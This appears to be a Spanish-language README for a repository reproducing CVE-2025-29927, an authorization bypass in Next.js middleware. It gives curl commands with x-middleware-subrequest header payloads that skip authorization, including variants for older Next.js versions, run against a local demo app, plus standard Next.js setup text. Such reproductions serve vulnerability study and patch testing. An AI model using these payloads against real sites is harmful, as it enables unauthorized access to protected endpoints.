Reproducción de omisión de autorización CVE-2025-29927

Este repositorio es una reproducción de la vulnerabilidad CVE-2025-29927 en el paquete next

Cómo reproducir

1. Sigue los pasos a continuación para clonar y ejecutar la aplicación Next.js
2. Prueba que la autorización deniega el acceso al endpoint /api/hello

$ curl http://localhost:3000/api/hello

{"error":"Unauthorized"}%

3. Prueba que la autorización funciona cuando se proporciona el token

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/hello

{"message":"Hello World"}%

4. Ahora también se puede eludir si anidamos middleware 5 veces en el encabezado especial x-middleware-subrequest:

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/hello

{"message":"Hello, World"}

Explotación de CVE-2025-29927 para versiones antiguas de Next.js

Las versiones 12 y 13 de Next.js solían tener una convención de nomenclatura diferente para el archivo de middleware (_middleware.js), que se cambió a middleware.js en Next.js 14. Esta vulnerabilidad se puede explotar en versiones anteriores utilizando el archivo _middleware.js.

Por ejemplo, los siguientes payloads se aplicarían, dependiendo de la versión de Next.js y tu convención de enrutamiento:

• curl -H "x-middleware-subrequest: middleware" http://localhost:3000/api/hello (para versiones de Next.js 12.2 con el archivo middleware.js en la raíz de la aplicación, no dentro del directorio pages)
• • curl -H "x-middleware-subrequest: src/middleware" http://localhost:3000/api/hello
• curl -H "x-middleware-subrequest: _middleware" http://localhost:3000/api/hello (para versiones de Next.js 11 hasta 12.2)
• curl -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/api/hello
• curl -H "x-middleware-subrequest: pages/admin/_middleware" http://localhost:3000/api/hello

Primeros pasos

Primero, ejecuta el servidor de desarrollo:

npm run dev
# or
yarn dev
# or
pnpm dev
# or
bun dev

Abre http://localhost:3000 con tu navegador para ver el resultado.

Puedes empezar a editar la página modificando app/page.js. La página se actualiza automáticamente mientras editas el archivo.

Este proyecto usa next/font para optimizar y cargar automáticamente Geist, una nueva familia tipográfica para Vercel.

Aprende más

Para aprender más sobre Next.js, echa un vistazo a los siguientes recursos:

• Documentación de Next.js - conoce las funciones y la API de Next.js.
• Aprende Next.js - un tutorial interactivo de Next.js.

Puedes consultar el repositorio de Next.js en GitHub - ¡tus comentarios y contribuciones son bienvenidos!

Desplegar en Vercel

La forma más sencilla de desplegar tu aplicación Next.js es usar Vercel Platform de los creadores de Next.js.

Consulta nuestra documentación de despliegue de Next.js para más detalles.

Contribuir

Por favor, consulta CONTRIBUTING para obtener directrices sobre cómo contribuir a este proyecto.